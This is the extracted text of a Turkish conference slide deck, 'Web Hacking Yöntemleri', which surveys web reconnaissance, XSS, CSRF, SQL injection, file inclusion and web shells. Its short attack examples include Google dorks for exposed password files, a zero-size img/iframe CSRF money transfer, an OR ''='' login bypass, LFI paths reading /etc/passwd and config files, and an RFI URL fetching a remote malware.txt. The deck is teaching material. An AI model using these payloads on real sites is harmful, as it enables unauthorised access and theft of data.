32
Web Hacking Yöntemleri Eyüp ÇELİK Bilgi Teknolojileri Güvenlik Danışmanı [email protected] http://www.eyupcelik.com.tr facebook.com/EPICROUTERSS ~ twitter.com/EPICROUTERS

Web Guvenligi Konferansi - Web Hacking Yontemleri

Embed Size (px)

DESCRIPTION

08 Eylül 2012 tarihinde Haliç Kongre ve Kültür Merkezi'nde gerçekleştirmiş olduğumuz "Web Saldırıları ve Web Güvenliği" konferansında "Web Hacking Yöntemleri" konu başlıklı sunumum.

Citation preview

Page 1: Web Guvenligi Konferansi - Web Hacking Yontemleri

Web Hacking Yöntemleri

Eyüp ÇELİKBilgi Teknoloji leri Güvenlik Danışmanı[email protected] p://www.eyupcelik.com.tr

facebook.com/EPICROUTERSS ~ twitt er.com/EPICROUTERS

Page 2: Web Guvenligi Konferansi - Web Hacking Yontemleri

• Bilgi Teknolojileri Güvenlik Danışmanı• White Hat Hacker• Ethical Hacking Eğitmeni• Blog Yazarı (www.eyupcelik.com.tr)• Web Güvenliği Editörü

(www.webguvenligi.net)• LabSec Community - Güvenlik Ekip Lideri• Anatolia Security - Proje Takım Lideri• Güvenlik Araştırmacısı (Security Research)

– PacketStormSecurity.org– Exploit-db.com– Secunia.com

Eyüp ÇELİK Kimdir?

Page 3: Web Guvenligi Konferansi - Web Hacking Yontemleri

• Web Hacking Yöntemleri• Bilgi Toplama

• Web Sunucusu, Uygulama, Yazılım Dili, Versiyon Keşfi• Hata Mesajlarından Bilgi Toplama• Arama Motorlarından Bilgi Toplama• Alt Dizin ve Admin Panel Keşfi

• Web Güvenlik Testlerinde Kişisel Proxyler• OWASP Top 10 Açıklık Rehberi• XSS, CSRF Açıkları ve Kötüye Kullanımı

• XSS, CSRF Nedir?• XSS, CSRF Kullanımı

• SQL Injection Zafiyetleri ve Hacking Amaçlı Kullanımları• SQL Injection ve Blind SQL Injection Nedir?• SQL – Blind SQL Kullanımı• SQL Injection Örnekleri• Arama Motorlarından Zafiyet Arama• Havij, Sqlmap, SQL Finder, Pangolin

• File Inclusion Zafiyetleri ve Hacking Amaçlı Kullanımları• Local File Inclusion (LFI)• Remote File Inclusion (RFI)

• Web Shell• Web Shell Kavramları ve Kullanım Amaçları• PHP, ASP, JSP, ASP.NET Shell Çeşitleri

Ajanda

Page 4: Web Guvenligi Konferansi - Web Hacking Yontemleri

Bilgi Toplama

Whois

www.whois.sc

Page 5: Web Guvenligi Konferansi - Web Hacking Yontemleri

Bilgi Toplama

DNS Record

www.intodns.com

Page 6: Web Guvenligi Konferansi - Web Hacking Yontemleri

Bilgi Toplama

DNS RecordMaltego

Page 7: Web Guvenligi Konferansi - Web Hacking Yontemleri

Bilgi Toplama

Web Sunucusu, Programlama Dili, Portlar

Page 8: Web Guvenligi Konferansi - Web Hacking Yontemleri

Bilgi Toplama

Hata Mesajlarından Bilgi Toplama

Sık karşılaşılan hata kodları• 400 (Söz dizimi çözülemedi)• 403 (Yasak)• 404 (Bulunamadı)• 405 (Yönteme izin verilmiyor)• 500 (Dahili sunucu hatası)• 505 (HTTP sürümü

desteklenmiyor)

Page 9: Web Guvenligi Konferansi - Web Hacking Yontemleri

Bilgi Toplama

Arama Motorlarından Bilgi Toplama

• www.archive.org (Web Arşiv)• www.google.com

• site: eyupcelik.com.tr• Filetype:txt• Password 123123 filetype:xml• Password 123123 filetype:xml site:site.com.tr • intitle:index.of• Intitle:index.of site:gov.tr• intitle:index.of pwd.db passwd site:com• Microsoft-IIS/5.0 server at• Apache/2.2 Server at

• www.bing.com• IP: 192.168.1.100

• Kariyer Siteleri • (Kariyer.net, yenibiris.com. SecretCV)

Page 10: Web Guvenligi Konferansi - Web Hacking Yontemleri

Bilgi Toplama

Arama Motorlarından Bilgi Toplama - 2

Page 11: Web Guvenligi Konferansi - Web Hacking Yontemleri

Bilgi Toplama

Alt Dizin ve Admin Panel Keşfi

Page 12: Web Guvenligi Konferansi - Web Hacking Yontemleri

• Web Hacking Yöntemleri• Bilgi Toplama

• Web Sunucusu, Uygulama, Yazılım Dili, Versiyon Keşfi• Hata Mesajlarından Bilgi Toplama• Arama Motorlarından Bilgi Toplama• Alt Dizin ve Admin Panel Keşfi

• Web Güvenlik Testlerinde Kişisel Proxyler• OWASP Top 10 Açıklık Rehberi• XSS, CSRF Açıkları ve Kötüye Kullanımı

• XSS, CSRF Nedir?• XSS, CSRF Kullanımı

• SQL Injection Zafiyetleri ve Hacking Amaçlı Kullanımları• SQL Injection ve Blind SQL Injection Nedir?• SQL – Blind SQL Kullanımı• SQL Injection Örnekleri• Arama Motorlarından Zafiyet Arama• Havij, Sqlmap, SQL Finder, Pangolin

• File Inclusion Zafiyetleri ve Hacking Amaçlı Kullanımları• Local File Inclusion (LFI)• Remote File Inclusion (RFI)

• Web Shell• Web Shell Kavramları ve Kullanım Amaçları• PHP, ASP, JSP, ASP.NET Shell Çeşitleri

Ajanda

Page 13: Web Guvenligi Konferansi - Web Hacking Yontemleri

Kişisel Proxyler (OWASP ZAP)

Page 14: Web Guvenligi Konferansi - Web Hacking Yontemleri

• Sunucuya gönderilen yazılım betiklerinin (script) kullanıcının tarayıcısında çalıştığı bir saldırı türüdür.

• PHP-ASP-ASP.NET Sayfalarında sıklıkla görülür.• Genellikle POST ve GET metotlarının kullanıldığı alanlarda olur. • Yazılım betiklerinin kullanıcı tarafında çalıştırılması sonucunda

oturum bilgileri çalınabilir, bilgisayarına zararlı kodlar enjekte edilebilir ve bilgisayar yönetimi ele geçirilebilir.

• En çok karşılaşılan güvenlik zafiyetidir!

XSS Nedir?

XSS – CSRF Açıkları ve Kötüye Kullanımı

Page 15: Web Guvenligi Konferansi - Web Hacking Yontemleri

• XSS• Reflected XSS Attack• Stored (Persistent) XSS Attack

XSS Zafi yet Türevleri

XSS – CSRF Açıkları ve Kötüye Kullanımı

Page 16: Web Guvenligi Konferansi - Web Hacking Yontemleri

• URL adreslerindeki querystringler ve form alanlarında sıklıkla görülür.• En çok karşılaşılan XSS saldırı türevidir.• Kullanıcı taraflı çalışır.• Phishing saldırılarına zemin oluşturur.

Refl ected XSS Saldırısı

XSS – CSRF Açıkları ve Kötüye Kullanımı

Page 17: Web Guvenligi Konferansi - Web Hacking Yontemleri

• Forumlar, ziyaretçi defterleri gibi alanlarda sıklıkla görülür.• XSS kodları database sunucusuna kaydedilir.• Kullanıcılar sayfaya eriştiklerinde XSS kodları çalışır ve amaca hizmet

eder.

Stored (Persistent) XSS Saldırısı

XSS – CSRF Açıkları ve Kötüye Kullanımı

Page 18: Web Guvenligi Konferansi - Web Hacking Yontemleri

• XSS saldırısına benzer• Web uygulamasının oturum zaman aşımlarını

kullanmamasından kaynaklanır.• XSS saldırılarının aksine CSRF saldırıları kullanıcı bazlıdır.• Bu saldırı türünde, kullanıcının isteği dışında kullanıcıya

işlemler yaptırılır.• Banka hesaplarından para transferi, uygulama yetki

yükseltme saldırıları gibi bir çok işlem bu saldırı yöntemi ile yapılabilmektedir.

• Saldırganın amacı; yetkisi olmayan alanlarda istediği işlemi yetkisi olan bir kullanıcıya yaptırmaktır.

• Örneğin; ING Direct bankasında bulunan CSRF zafiyeti, kullanıcının belirtilen hesaba para transfer etmesini sağlamaktaydı.

CSRF (Cross Site Request Forgery) Saldırısı

XSS – CSRF Açıkları ve Kötüye Kullanımı

Page 19: Web Guvenligi Konferansi - Web Hacking Yontemleri

• Web sitesinde oturum açan bir kullanıcı, eğer aynı zamanda zararlı kodun bulunduğu sayfaya erişirse, hesabından başka bir hesaba para aktarılıyor

• Kullanıcı uygulamayı açtıktan sonra, zararlı sayfada http://www.banka.com/ParaYollar.php?Gonderen=Eyup&Alici=Ismail&Miktar=500&submit=1 kodu çalıştırılır.

• Bunun için saldırgan yukarıda bulunan kodu sayfasında <img> veya <iframe> tagları arasına yerleştirir.

• Bu tagler kullanıcının görmemesi için <img src=“http://www.banka.com/ParaYollar.php?Gonderen=Eyup&Alici=Ismail&Miktar=500&submit=1” width=“0” height=“0”> şeklinde yada<iframe src=“http://www.banka.com/ParaYollar.php?Gonderen=Eyup&Alici=Ismail&Miktar=500&submit=1” width=“0” height=“0”> şeklinde olacaktır.• Bu kodlar kullanıcı tarafında çalışınca, Eyup adlı kullanıcın

hesabından Ismail adlı kullanıcın hesabına 500 TL aktarmış olacaktır.

CSRF (Cross Site Request Forgery) Saldırısı - Örnek

XSS – CSRF Açıkları ve Kötüye Kullanımı

Page 20: Web Guvenligi Konferansi - Web Hacking Yontemleri

• Web Hacking Yöntemleri• Bilgi Toplama

• Web Sunucusu, Uygulama, Yazılım Dili, Versiyon Keşfi• Hata Mesajlarından Bilgi Toplama• Arama Motorlarından Bilgi Toplama• Alt Dizin ve Admin Panel Keşfi

• Web Güvenlik Testlerinde Kişisel Proxyler• OWASP Top 10 Açıklık Rehberi• XSS, CSRF Açıkları ve Kötüye Kullanımı

• XSS, CSRF Nedir?• XSS, CSRF Kullanımı

• SQL Injection Zafiyetleri ve Hacking Amaçlı Kullanımları• SQL Injection ve Blind SQL Injection Nedir?• SQL – Blind SQL Kullanımı• SQL Injection Örnekleri• Arama Motorlarından Zafiyet Arama• Havij, Sqlmap, SQL Finder, Pangolin

• File Inclusion Zafiyetleri ve Hacking Amaçlı Kullanımları• Local File Inclusion (LFI)• Remote File Inclusion (RFI)

• Web Shell• Web Shell Kavramları ve Kullanım Amaçları• PHP, ASP, JSP, ASP.NET Shell Çeşitleri

OWASP TOP 10 Rehberi - 1

Page 21: Web Guvenligi Konferansi - Web Hacking Yontemleri

• Veritabanından sorgulamalar yapılırken, sorgulara bazı karakterlerin (‘) eklenerek yetkisiz sorgulamalar yapılmasıdır.

• SQL injection yöntemi ile sql sunucusunda bulunan verilere erişilebilir, değiştirilebilir , silinebilir

• SQL Injection son zamanlarda en tehlikeli saldırı türlerinden biri haline geldi.

• Web uygulamalarında bulunan SQL sorgularının doğru bir şekilde analiz edilmeden SQL sunucusuna aktarılmasından kaynaklanan bir saldırı türüdü

• SQL’de iki tek tırnak (‘) yan yana gelince arada bulunan kodlar “string” olarak kabul edilir.

• Örneğin; bir userın form alanına giriş yapacağı zaman girmiş olduğu input değerler kontrol edilirken sql cümlecikleri kullanılır.

• SELECT * from kullanicilar where isim=‘eyup’ and sifre=‘x9x9’• Böyle bir durumda, kullanıcılar tablosunda bulunan isim kolonunda

“eyup” varsa ve sifre kolonıundaki şifresi de eğer “x9x9” ise kullanıcı oturum açmış olacaktır.

• Kullanıcının form alanına girmiş olduğu input veriler where koşuluna atanmaktadır.

SQL Injecti on Nedir?

SQL Injecti on Zafi yetleri ve Hacking Amaçlı Kullanılması

Page 22: Web Guvenligi Konferansi - Web Hacking Yontemleri

• Bu mantıkla çalışan bir sitede sql injection saldırısı yapacaksak eğer, bize kullanıcı adı ve şifreyi her zaman döndürecek bir koda ihityacımız olacaktır.

• Select * from kullanicilar where isim=‘’ OR ‘’ = ‘’ and sifre= ‘’ OR ‘’ = ‘’

• Kullanıcılar tablosundaki isim kolonu ve sifre kolonu boş olan kullanıcıları istemiş olduk.

SQL Injecti on Nedir?

SQL Injecti on Zafi yetleri ve Hacking Amaçlı Kullanılması

Page 23: Web Guvenligi Konferansi - Web Hacking Yontemleri

• ODBC (Open Database Connectivity) verikaynakları üzerinde veri taşımaya yarayan bir araçtır.

• Bu işlemi verikaynağı ve uygulama arasında bir katman oluşturarak gerçekleştirir.

• Error Based SQL Injection saldırıları, ODBC’nin verdiği hatalardan faydalanarak verilere erişmeye çalışır.

• Çoğunlukla SQL Union operatöründen faydalanılarak bu hata verilerine erişilir.

Error Based SQL Injecti on Nedir?

SQL Injecti on Zafi yetleri ve Hacking Amaçlı Kullanılması

Page 24: Web Guvenligi Konferansi - Web Hacking Yontemleri

• SQL injectionda kullanılan karakterlerin sonuç vermediği durumlarda kullanılan bir saldırı yöntemidir.

• Bu yöntem alınan hataların True veya False kısmı ile ilgilenir.

• SQL üzerinde yapılan sorgulamaların doğru veya yanlış olduğu sonuçlarını bize geri döndürür.

• Blind SQL Injection ile yapılan yöntemler deneme-yanılma yöntemi ile yapılır.

Blind (Kör) SQL Injecti on Nedir?

SQL Injecti on Zafi yetleri ve Hacking Amaçlı Kullanılması

Page 25: Web Guvenligi Konferansi - Web Hacking Yontemleri

Arama Motorlarından Zafi yet Arama

SQL Injecti on Zafi yetleri ve Hacking Amaçlı Kullanılması

Page 26: Web Guvenligi Konferansi - Web Hacking Yontemleri

Arama Motorlarından Zafi yet Arama - 2

SQL Injecti on Zafi yetleri ve Hacking Amaçlı Kullanılması

Page 27: Web Guvenligi Konferansi - Web Hacking Yontemleri

Havij

SQL Injecti on Zafi yetleri ve Hacking Amaçlı Kullanılması

Page 28: Web Guvenligi Konferansi - Web Hacking Yontemleri

• Web Hacking Yöntemleri• Bilgi Toplama

• Web Sunucusu, Uygulama, Yazılım Dili, Versiyon Keşfi• Hata Mesajlarından Bilgi Toplama• Arama Motorlarından Bilgi Toplama• Alt Dizin ve Admin Panel Keşfi

• Web Güvenlik Testlerinde Kişisel Proxyler• OWASP Top 10 Açıklık Rehberi• XSS, CSRF Açıkları ve Kötüye Kullanımı

• XSS, CSRF Nedir?• XSS, CSRF Kullanımı

• SQL Injection Zafiyetleri ve Hacking Amaçlı Kullanımları• SQL Injection ve Blind SQL Injection Nedir?• SQL – Blind SQL Kullanımı• SQL Injection Örnekleri• Arama Motorlarından Zafiyet Arama• Havij, Sqlmap, SQL Finder, Pangolin

• File Inclusion Zafiyetleri ve Hacking Amaçlı Kullanımları• Local File Inclusion (LFI)• Remote File Inclusion (RFI)

• Web Shell• Web Shell Kavramları ve Kullanım Amaçları• PHP, ASP, JSP, ASP.NET Shell Çeşitleri

Ajanda

Page 29: Web Guvenligi Konferansi - Web Hacking Yontemleri

• Web sitesinde bulunan kodlama hatalarından (include, require) meydana gelir

• Sunucuda bulunan dosyaların çağrılmasına ve okunabilmesine olanak verir

• Sadece bulunduğu siteyi değil, sunucuda bulunan tüm siteleri etkileyebilir!

• index.php?SayfaAc=iletisim.php• index.php?SayfaAc=../../configuration.php• index.php?SayfaAc=../../../../etc/passwd• index.php?SayfaAc=../../../boot.ini

Local File Inclusion (LFI)

File Inclusion Zafi yetleri ve Hacking Amaçlı Kullanılması

Page 30: Web Guvenligi Konferansi - Web Hacking Yontemleri

• Web sitesinde bulunan kodlama hatalarından (include, require) meydana gelir

• RFI saldırılarında en büyük etken değişkene değer atanmamasıdır!

• Tanımlanmış ancak değer atanmamış olan değişkene dışardan değer aktarılması ile oluşur.

• Sadece bulunduğu siteyi değil, sunucuda bulunan tüm siteleri etkileyebilir!

• include($deger”.php”)• index.php?deger=http://www.site.com/malware.txt

Remote File Inclusion (RFI)

File Inclusion Zafi yetleri ve Hacking Amaçlı Kullanılması

Page 31: Web Guvenligi Konferansi - Web Hacking Yontemleri

C99, R57

Web Shell

Page 32: Web Guvenligi Konferansi - Web Hacking Yontemleri

Teşekkürler Sorular?